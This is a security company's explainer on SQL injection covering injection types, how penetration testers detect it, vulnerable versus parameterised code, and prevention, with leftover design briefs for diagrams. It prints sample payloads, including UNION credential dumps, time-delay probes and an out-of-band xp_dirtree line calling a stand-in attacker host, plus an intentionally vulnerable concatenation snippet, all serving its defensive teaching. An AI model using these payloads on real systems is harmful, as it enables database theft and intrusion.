Precursor Security
Intelligence Library
Article

SQL injection explained: how testers find it and how developers prevent it

9 April 2026
·
17 min read
·Precursor Security

SQL injection is a web application vulnerability where an attacker inserts malicious SQL statements into input fields that are passed unsanitised to a backend database. The database executes the attacker-controlled code, enabling data theft, authentication bypass, or full database destruction. It is classified under CWE-89 and ranked third in the MITRE CWE Top 25 for 2024.

[INSERT VISUAL: SQL injection attack flow diagram. Attacker submits payload via form field, web app builds query by concatenation, database receives and executes combined query, data returns to attacker]

What is SQL injection?

SQL injection occurs when an application builds database queries by concatenating user-supplied input without validation or escaping. The database has no mechanism to distinguish between the intended SQL structure and the attacker-controlled content appended to it. Both are treated as valid instruction.

A login form that passes a username directly into a query illustrates the root cause. If the application constructs SELECT * FROM users WHERE username = 'input', an attacker who enters ' OR '1'='1 transforms that into:

SELECT * FROM users WHERE username = '' OR '1'='1'

The condition is always true. Every account is returned. The first one is typically admin.

SQL injection has appeared in the OWASP Top 10 since the list was first published. The 2021 revision places it under A03:2021 Injection; the 2025 revision moves it to A05:2025, where it remains in the top five. OWASP's prevalence data shows injection affecting 100% of tested applications in some form. Under MITRE ATT&CK, SQL injection is a primary technique within T1190 (Exploit Public-Facing Application), the initial access tactic used by threat actors targeting web applications.

What are the different types of SQL injection?

Penetration testers categorise SQL injection by how data returns to the attacker, because that determines the testing technique and the severity of exploitation.

In-band SQL injection

In-band injection means the attacker sends the payload and receives results through the same communication channel: the HTTP response.

Error-based injection works when the application surfaces database error messages. A malformed query fragment causes the database to throw a verbose error. That error may contain schema structure, table names, or data values. Many production applications still have debug error handling enabled.

UNION-based injection is the primary data extraction technique. The attacker appends a UNION SELECT statement matching the column count and types of the original query, then substitutes attacker-controlled values. A single UNION payload can return usernames, password hashes, or any other table contents in the same HTTP response as the intended page.

Blind SQL injection

Blind injection applies when the application returns neither query results nor database errors.

Boolean-based blind injection sends two requests: one with a condition evaluating to true, one evaluating to false. If the application responds differently, the injection point is confirmed. Chaining boolean conditions extracts data one bit at a time.

Time-based blind injection injects database delay commands (SLEEP() in MySQL, WAITFOR DELAY in SQL Server) with conditional logic. A delayed response confirms the condition was true. Slower than boolean-based extraction, but effective when application responses look identical regardless of query result.

Out-of-band SQL injection

Out-of-band techniques exfiltrate data through a separate channel, typically DNS lookups or HTTP requests to an attacker-controlled server. Used when in-band responses are suppressed and time-based techniques are unreliable due to network latency. On SQL Server, xp_dirtree can trigger outbound DNS requests containing encoded data. On Oracle, UTL_HTTP initiates outbound HTTP. These require specific database configurations but are highly effective when available.

Second-order SQL injection

Second-order (stored) SQL injection is the most frequently overlooked variant. The attacker submits a payload that is stored safely at insertion time. The vulnerability fires later, when a different part of the application retrieves that stored value and uses it in a new query without sanitisation.

A typical scenario: a user registers with a username containing SQL syntax. The registration endpoint uses a parameterised query, so the payload is stored as a literal string. Later, a password-change function retrieves the username and concatenates it directly into a new query. The stored payload executes. Automated scanners miss this because the input and execution points are separate HTTP requests. The connection between them requires a tester who understands the application flow, not one who is pattern-matching for payloads.

SQL injection types at a glance

Injection typeHow data returnsPrimary detection methodSeverityExample payload
Error-basedDatabase error in HTTP responseSingle-quote probe; observe verbose errorCritical' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--
UNION-basedAttacker data in response bodyUNION SELECT with null columnsCritical' UNION SELECT username,password,null FROM users--
Boolean-based blindApp behaviour differs for true/false conditionsPaired requests with opposite conditionsHighAND 1=1 vs AND 1=2
Time-based blindResponse delay confirms conditionInject SLEEP() / WAITFOR DELAYHigh'; WAITFOR DELAY '0:0:5'--
Out-of-bandData via DNS or HTTP to attacker serverMonitor outbound DNS; check egressHigh'; EXEC xp_dirtree '//attacker.com/a'--
Second-orderStored payload fires on later retrievalMulti-request trace: register, then triggerHighUsername admin'-- used in password-reset query

How do penetration testers find SQL injection?

A structured web application penetration test begins with enumeration before any injection attempt. Testers map every input surface that reaches the backend: form fields, URL query parameters, path segments, cookies, HTTP headers (User-Agent, Referer, X-Forwarded-For), JSON and XML request bodies, and GraphQL arguments. Any value the server processes is a candidate.

Manual testing starts with simple probes. A single quote (') often causes a database error or an unexpected page change if the parameter is injectable. Boolean pairs (AND 1=1 versus AND 1=2) confirm blind injection. A time delay payload ('; WAITFOR DELAY '0:0:5'--) confirms injection in SQL Server environments where no visible difference exists between true and false conditions.

The methodology follows OWASP Testing Guide v4.2, section WSTG-INPV-05 (Testing for SQL Injection). This covers input vector identification, database fingerprinting, data extraction techniques, stored procedure testing, and out-of-band channel verification.

Once a tester confirms an injection point manually, tooling handles extraction. Burp Suite's Repeater iterates on payloads precisely. Burp Intruder fuzzes across parameter lists. SQLMap (current stable build: 1.8.x) automates fingerprinting the database engine, determining the injection type, and dumping tables. Competent testers confirm findings manually before invoking SQLMap; false positives from automation generate noise and can waste client remediation time.

Stored procedures, batch endpoints, and API parameters get the same scrutiny as web forms. Many teams apply input validation on the presentation layer and assume the API layer is internal-only. That assumption does not hold in practice.

Second-order injection requires tracing state across multiple requests: register a payload, trigger a downstream action, observe whether the stored value executes in a new query context. This is manual work that no scanner performs reliably.

[INSERT VISUAL: Penetration tester detection workflow. Horizontal flowchart: enumerate all input surfaces, manual probe (single quote, boolean pair, time delay), confirm injection type, automate extraction with SQLMap, verify manually, report. Navy #0e0e42 background, accent #2c9eff for flow arrows]

What does a SQL injection attack look like in code?

The difference between a vulnerable and a secure query is a single architectural decision: whether user input enters the SQL parse tree or is handled as a parameter.

Vulnerable: string concatenation

# Python + raw database cursor -- VULNERABLE
user_id = request.args.get("id")
query = "SELECT * FROM users WHERE id = '" + user_id + "'"
cursor.execute(query)

If user_id is 1' UNION SELECT username, password, null FROM admin_users--, the executed query becomes:

SELECT * FROM users WHERE id = '1'
UNION SELECT username, password, null FROM admin_users--'

The attacker receives admin credentials alongside the intended user record.

Secure: parameterised queries

# Python + raw database cursor -- SECURE
user_id = request.args.get("id")
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

The database driver sends the query structure and the parameter as separate values. The database treats the parameter as a literal, not as SQL to parse. No SQL syntax in user_id can alter the query structure.

The same pattern in other languages:

// Node.js + mysql2 -- SECURE
const [rows] = await connection.execute(
  "SELECT * FROM users WHERE id = ?",
  [userId]
);
// Java JDBC -- SECURE
PreparedStatement stmt = conn.prepareStatement(
  "SELECT * FROM users WHERE id = ?"
);
stmt.setString(1, userId);

ORM misuse

ORMs reduce SQL injection risk but do not eliminate it. Developers reach for raw query methods when the ORM's abstraction feels limiting: complex joins, dynamic column selection, or custom reporting queries. 18% of applications using ORMs are still vulnerable to SQL injection on their first security scan (Propel Code, 2025).

# Django ORM -- VULNERABLE raw query
User.objects.raw("SELECT * FROM users WHERE id = " + user_id)

# Django ORM -- SECURE parameterised raw query
User.objects.raw("SELECT * FROM users WHERE id = %s", [user_id])

# Django ORM -- SECURE standard query (preferred)
User.objects.filter(id=user_id)

Django's filter() generates a parameterised query automatically. Raw queries bypass that protection entirely and must be parameterised explicitly. The framework makes the safe choice the easy choice, but only when developers stay on the standard path.

[INSERT VISUAL: Vulnerable vs secure code side-by-side comparison. Split panel: left (rose-500 tinted) shows string concatenation with annotated attack injection point; right (emerald-tinted) shows parameterised query with annotated separation of structure and data. White #F5F5F7 background]

What is the business impact of SQL injection?

SQL injection is not a theoretical risk. Web application attacks, including SQLi, accounted for 26% of all data breaches in 2024 (Verizon DBIR 2024). CWE-89 ranked third in the MITRE CWE Top 25 for 2024 with 1,467 associated CVEs. More than 14,000 CVEs have been attributed to SQL injection across its recorded history.

The MOVEit breach (May 2023) is the most consequential recent example. The Cl0p ransomware group exploited a zero-day SQL injection vulnerability (CVE-2023-34362, CVSS 9.8) in MOVEit Transfer, a managed file transfer platform used by large enterprises and government agencies. The injection flaw allowed unauthenticated remote code execution. A web shell was planted within hours of exploitation. Affected UK organisations included British Airways, the BBC, and Boots, with employee National Insurance numbers, payroll data, and home addresses extracted. Estimated affected organisations globally: over 2,000.

The breach was not caused by a complex novel attack technique. It was a SQL injection vulnerability in a widely-deployed enterprise application. The fix, once available, was a query parameterisation change.

Business impactDescription
Full database extractionUNION-based injection can dump every table: users, orders, payment data, internal records
Authentication bypassA single payload logs an attacker in as any user, including administrators, without a password
Data manipulationINSERT, UPDATE, and DELETE can be injected to modify records, create backdoor accounts, or destroy data
Privilege escalationOn databases with xp_cmdshell enabled or file permissions, SQL injection becomes operating system access
Lateral movementDatabase servers sit on internal networks; compromising the database layer provides a foothold for further access

A SQL injection vulnerability in a customer-facing application constitutes a data breach under UK GDPR if personal data is accessed. The Information Commissioner's Office treats failure to protect against well-known vulnerability classes as a failure of appropriate technical measures. Fines, mandatory disclosure obligations, and reputational consequences follow.

How do you prevent SQL injection?

Defence-in-depth is the correct framing. No single control is sufficient on its own, but parameterised queries are the non-negotiable foundation.

Parameterised queries and prepared statements. This is the primary defence. If user input never enters the SQL parse tree, it cannot alter query structure. Parameterise every database interaction, including those that appear read-only or low-risk. The database driver handles separation of query structure from parameter values.

Input validation with allowlists. Validate that input conforms to the expected format before it reaches the data layer. An id parameter that should be an integer should be rejected if it contains anything other than digits. Allowlists (permitted patterns) are more reliable than denylists (blocked patterns) because denylists are bypassable through encoding variations.

Stored procedures (with caveats). Stored procedures can reduce injection surface, but only if written with parameterised inputs. A stored procedure that concatenates its parameters into a dynamic SQL string is as vulnerable as inline query construction.

Least-privilege database accounts. The web application's database account should have only the permissions the application genuinely requires. A read-only application does not need INSERT, UPDATE, DELETE, or DROP. When SQL injection occurs, least privilege limits the blast radius.

WAF as a supplementary layer. A web application firewall can block common payloads and script-based tooling at the perimeter. As covered in the post on WAF bypass techniques, bypass techniques exist for every major WAF vendor. Custom payloads, encoding variants, and database-specific syntax routinely pass signature-based filters. Treat a WAF as an additional detection layer, not a substitute for secure code.

Regular penetration testing. Code reviews and static analysis catch many vulnerabilities at build time, but they do not replicate adversarial conditions. Regular web application penetration testing verifies that parameterised query patterns are applied consistently, that ORM raw query methods are not introducing regressions, and that second-order injection paths are identified before attackers find them.

The counter-narrative worth acknowledging: parameterised queries have been available in every major language and framework since the late 1990s. OWASP has listed parameterisation as the primary control for over 15 years. SQL injection still appears in the top three findings across web application assessments because the defence is inconsistently applied. Legacy modules, ORM escape hatches, third-party integrations, and developer shortcuts each create gaps. The vulnerability class is solved in theory. The gap is in consistent application across the entire codebase, including the parts written five years ago by a developer who has since left.

Common questions

Can a WAF prevent SQL injection?

Partially. A WAF blocks common payloads and automated scanning tools. It will not stop a skilled tester or attacker using obfuscation, encoding variants, or database-specific syntax that does not match known signatures. The correct position: fix the code first, then use a WAF as an additional detection layer.

Is SQL injection still a threat in 2026?

Yes. SQL injection appears in the top three findings across web application penetration tests consistently. Modern frameworks reduce the likelihood that developers write raw queries for standard operations, but large applications contain legacy modules, third-party integrations, and custom reporting layers where parameterisation is inconsistent. Second-order injection and injection in API parameters remain common findings even in applications that use ORMs for their primary data layer. CWE-89 recorded 1,467 CVEs in 2024 alone.

How long does exploitation take?

Once an injection point is confirmed, full database extraction can take minutes with automated tooling. SQLMap fingerprints the database engine, enumerates tables, and dumps credentials in a single command. Time-based blind injection is slower for large databases (potentially hours), but in-band injection with UNION payloads is fast. The detection-to-exploitation gap is short enough that a vulnerability in a production application represents immediate risk.

What is the difference between SQL injection and NoSQL injection?

SQL injection targets relational databases (MySQL, PostgreSQL, SQL Server, Oracle) that use structured query language. NoSQL injection targets document stores and key-value databases (MongoDB, CouchDB, Redis) that use different query formats. The root cause is the same: unsanitised user input passed to a query interface. The payloads and prevention techniques differ by database type. MongoDB is vulnerable to operator injection via JSON bodies, using $where or $gt operators in request parameters. Parameterisation and input validation remain the primary defences in both cases.


Visual Briefs

Visual 1: SQL injection attack flow diagram

Type: Process flow diagram Purpose: Give readers an instant mental model of how SQL injection works before the technical detail. Supports AEO snippet comprehension. Placement: Immediately after the AEO snippet, before "What is SQL injection?" body text.

Layout: Horizontal left-to-right flow with 5 nodes connected by labelled arrows.

Content breakdown: 1. Attacker (node, rose-500 icon): sends HTTP request with payload ' OR '1'='1 2. Web app (node, white/5 glass): arrow labelled "Concatenates input directly into query" 3. SQL query (node, mono code block): shows the malformed query in full 4. Database (node, amber icon): arrow labelled "Executes combined query as SQL" 5. Data returned (node, rose-500): "All user records returned to attacker"

Below the main flow: a second flow in emerald showing the secure path. "Parameterised query: database treats input as literal value, not SQL"

Visual style: - Background: Navy #0e0e42 - Attack path arrows: rose-500 - Safe path arrows: emerald-400 - Accent labels: #2c9eff - Card nodes: bg-white/5 border-white/10 rounded-2xl

Alt text: "Diagram showing how SQL injection works: attacker payload concatenated into query, database executes combined SQL, data returned to attacker" (123 chars) Dimensions: 1200 x 400px (16:5 ratio, suitable for blog inline)


Visual 2: Vulnerable vs secure code comparison panel

Type: Annotated code comparison Purpose: Show the single-line architectural difference that separates a vulnerable query from a safe one. For developers who skim directly to code. Placement: Within "What does a SQL injection attack look like in code?" section, after the ORM examples.

Layout: Two-panel split. Left panel: vulnerable pattern. Right panel: secure parameterised pattern. Both use Python for consistency. Annotation arrows point to the injection point on the left and the parameter binding on the right.

Content breakdown:

Left panel (rose-500 border accent):

# VULNERABLE
query = "SELECT * FROM users
         WHERE id = '" + user_id + "'"

Annotation arrow: "User input enters SQL parse tree here"

Right panel (emerald border accent):

# SECURE
cursor.execute(
  "SELECT * FROM users WHERE id = %s",
  (user_id,)  ← treated as literal value
)

Annotation arrow: "Query structure and data sent separately"

Footer label: "The difference is one line. The blast radius is your entire database."

Visual style: - Background: #F5F5F7 - Left panel border: rose-500/40 - Right panel border: emerald-400/40 - Code font: mono, text-sm - Annotation arrows: slate-600

Alt text: "Side-by-side code comparison: string concatenation vulnerable to SQL injection on left, parameterised query secure pattern on right" (147 chars, trim to 125) Alt text (trimmed): "Code comparison showing vulnerable SQL string concatenation versus secure parameterised query pattern" (100 chars) Dimensions: 1200 x 500px


Visual 3: Penetration tester SQL injection detection workflow

Type: Horizontal flowchart Purpose: Show the structured methodology a tester uses. Addresses the PAA "how do penetration testers detect SQL injection?" and positions professional testing as systematic, not ad hoc. Placement: After the penetration testing methodology section body text.

Layout: Six-step horizontal flow with icons and short labels. Two rows for mobile reflow.

Content breakdown: 1. Map inputs: "All form fields, params, headers, cookies, JSON, GraphQL" 2. Probe manually: "Single quote ', boolean pairs AND 1=1 / AND 1=2" 3. Confirm injection: "Observe error, behaviour change, or time delay" 4. Identify type: "Error-based? UNION-based? Blind? Out-of-band?" 5. Automate extraction: "SQLMap fingerprints DB, enumerates tables, dumps data" 6. Report and verify: "Manual confirmation before client delivery"

Each step has a small icon (Lucide: Search, Code, CheckCircle, GitBranch, Terminal, FileText) and a sub-label in text-[11px] font-mono.

Visual style: - Background: Navy #0e0e42 - Step nodes: bg-white/5 border-white/10 rounded-2xl - Connector line: border-t border-white/20 dashed - Step number badges: bg-[#2c9eff]/20 text-[#2c9eff] - Icon tint: text-[#2c9eff]

Alt text: "Flowchart showing penetration tester SQL injection detection workflow: map inputs, probe manually, confirm injection, identify type, automate with SQLMap, report" (158 chars) Alt text (trimmed): "Penetration tester SQL injection detection workflow: map inputs, probe, confirm, identify type, automate extraction, report" (121 chars) Dimensions: 1200 x 280px (wide, slim; suitable for full-width blog inline)

Expert Guidance

Put this guide into practice

Our CREST-certified penetration testers can validate your configuration, identify gaps, and provide an independent audit report.